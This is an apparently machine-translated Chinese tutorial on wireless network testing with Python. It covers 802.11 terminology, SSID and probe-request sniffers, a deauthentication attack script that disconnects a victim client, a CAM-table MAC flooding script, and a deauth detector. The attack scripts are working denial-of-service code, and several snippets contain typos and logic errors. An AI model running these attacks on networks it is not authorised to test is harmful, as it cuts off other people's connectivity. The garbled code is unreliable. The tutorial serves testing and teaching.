无线网络的测试

无线系统具有很大的灵活性,但另一方面,它也会导致严重的安全问题.而且,这又如何成为一个严重的安全问题 - 因为在无线连接的情况下,攻击者只需要具有攻击信号的可用性,而不是像有线网络那样具有物理访问权限.无线系统的渗透测试比在有线网络上执行更容易.我们无法对无线媒体采用良好的物理安全措施,如果我们距离足够近,我们就能够"听到"(或者至少你的无线适配器能够听到)一切都在流过无线媒体./p>

先决条件

在我们开始了解有关无线网络测试的更多信息之前,让我们考虑讨论术语以及客户端与客户端之间的通信过程.无线系统.

重要术语

现在让我们学习与无线网络测试相关的重要术语.

接入点(AP)

接入点(AP)是802.11无线实施中的中心节点.这一点用于将用户连接到网络中的其他用户,也可以作为无线LAN(WLAN)和固定有线网络之间的互连点.在WLAN中,AP是发送和接收数据的站.

服务集标识符(SSID)

它是0-32字节长的人类可读文本字符串,基本上是分配给无线网络的名称.网络中的所有设备都必须使用此区分大小写的名称通过无线网络(Wi-Fi)进行通信.

基本服务集标识(BSSID)

是无线接入点(AP)上运行的Wi-Fi芯片组的MAC地址.它是随机生成的.

频道号

它表示接入点(AP)用于传输的无线电频率范围.

客户端与无线系统之间的通信

我们需要了解的另一件重要事情是客户端与无线系统之间的通信过程.借助下图,我们可以理解相同和减号;

客户端和无线系统通信

信标帧

在客户端和接入点之间的通信过程中,AP定期发送信标帧以显示其存在.此框架附带有关SSID,BSSID和频道编号的信息.

探测请求

现在,客户端设备将向此发送探测请求检查范围内的AP.发送探测请求后,它将等待来自AP的探测响应. Probe请求包含AP的SSID,供应商特定信息等信息.

探测响应

现在,在获取探测请求之后,AP将发送探测响应,其中包含支持的数据速率,功能等信息.

认证请求

现在,客户端设备将发送包含其身份的身份验证请求帧.

身份验证响应

现在作为响应,AP将发送一个表示接受的身份验证响应帧或拒绝.

关联请求

当身份验证成功时,客户端设备已发送包含支持的数据速率和SSID的关联请求帧AP.

关联响应

现在作为响应,AP将发送一个指示接受或拒绝的关联响应帧.如果接受,将创建客户端设备的关联ID.

使用Python查找无线服务集标识符(SSID)

我们可以收集有关原始套接字方法以及使用Scapy库的SSID信息.

原始套接字方法

我们已经了解到 mon0 捕获无线数据包;所以,我们需要将监控模式设置为 mon0 .在Kali Linux中,可以在 airmon-ng 脚本的帮助下完成.运行此脚本后,它将为无线卡提供一个名称 wlan1 .现在借助以下命令,我们需要在 mon0 :

airmon-ng start wlan1

以下是原始套接字方法Python脚本,它将为我们提供AP的SSID :

<首先,我们需要按以下方式导入套接字模块;

 
 import socket

现在,我们将创建一个具有三个参数的套接字.第一个参数告诉我们有关数据包接口(特定于Linux的PF_PACKET和用于Windows的AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包感兴趣.

 
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket .htons(0x0003))

现在,下一行将绑定 mon0 模式和 0x0003 .

 
 s.bind(("mon0",0x0003))

现在,我们需要声明一个空列表,它将存储AP的SSID.

 
 ap_list = []

现在,我们需要调用 recvfrom()接收数据包的方法.为了继续嗅探,我们将使用无限循环.

while True:
   packet = s.recvfrom(2048)

下一行代码显示帧是否为8位,表示信标帧.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])

带Scapy的SSID嗅探器

Scapy是其中之一最好的库,可以让我们轻松嗅探Wi-Fi数据包.您可以在 https://scapy.readthedocs.io/en/latest/上详细了解Scapy. .首先,在交互模式下运行Sacpy并使用命令conf获取iface的值.默认接口是eth0.现在我们有上面的圆顶,我们需要将此模式更改为mon0.它可以按照以下方式完成 :

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

现在让我们将Scapy导入库中.此外,执行以下Python脚本将为我们提供SSID :

from scapy.all import *

现在,我们需要声明一个空列表,它将存储AP的SSID.

 
 ap_list = []

现在我们要定义一个名为 Packet_info()的函数,它将具有完整的数据包解析逻辑.它将具有参数pkt.

 
 def Packet_info(pkt):

在下一个声明中,我们将应用一个仅通过 Dot11 流量的过滤器,这意味着802.11流量.后面的行也是一个过滤器,它传递帧类型为0的流量(表示管理帧),帧子类型为8(表示信标帧).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

现在,sniff函数将使用 iface mon0 (对于无线数据包)嗅探数据并调用 Packet_info 函数.

 
 sniff(iface ="mon0",prn = Packet_info)

用于实施在Python脚本之上,我们需要能够使用监控模式嗅探空气的Wi-Fi卡.

检测接入点客户端

用于检测在接入点的客户端,我们需要捕获探测请求帧.我们可以像使用Scapy在SSID嗅探器的Python脚本中那样做.我们需要提供 Dot11ProbeReq 来捕获探测请求帧.以下是检测访问点客户端的Python脚本 :

from scapy.all import *

probe_list = []

ap_name= input("Enter the name of access point")

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print("New Probe request--", client_name)
            Print("MAC is --", pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

无线攻击

从测试者的角度来看,了解无线攻击是如何发生的非常重要.在本节中,我们将讨论两种无线攻击和减号;

  • 去认证(deauth)攻击

  • MAC泛滥攻击

去认证(deauth)攻击

在客户端想要断开连接时,客户端设备和接入点之间的通信过程中,需要发送解除认证帧.响应来自客户端的该帧,AP还将发送解除认证帧.攻击者可以通过欺骗受害者的MAC地址并向AP发送解除认证帧来从此正常过程中获益.因此,客户端和AP之间的连接被丢弃.以下是执行去认证攻击的Python脚本 :

让我们先将Scapy导入库中并减去;

from scapy.all import *
import sys

以下两个语句分别输入AP和受害者的MAC地址.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

现在,我们需要创建去认证框架.它可以通过执行以下语句来创建.

 
 frame = RadioTap()/Dot11(addr1 = vctm_mac,addr2 = BSSID,addr3 = BSSID )/Dot11Deauth()

下一行代码表示发送的数据包总数;这里是500和两个数据包之间的间隔.

 
 sendp(frame,iface ="mon0",count = 500,inter = .1 )

输出

执行时,上面的命令生成以下输出 :

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

然后创建deauth帧,从而代表发送到接入点客户.这将使它们之间的连接被取消.

这里的问题是我们如何使用Python脚本检测deauth攻击.执行以下Python脚本将有助于检测此类攻击 :

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

在上面的脚本中,语句 pkt.subtype == 12 表示deauth帧,全局定义的变量I告诉数据包的数量.

输出

执行上述脚本会产生以下输出 :

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MAC地址f luding attack

MAC地址泛滥攻击(CAM表泛洪攻击)是一种网络攻击,连接到交换机端口的攻击者使交换机接口充满了大量的以太网帧.不同的伪源MAC地址.当MAC地址涌入表中并达到CAM表阈值时,会发生CAM表溢出.这会导致交换机像集线器一样工作,使网络充满所有端口的流量.这种攻击非常容易启动.以下Python脚本有助于启动此类CAM泛滥攻击 :

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

这种攻击的主要目的是检查交换机的安全性.如果想要减轻MAC泛洪攻击的影响,我们需要使用端口安全性.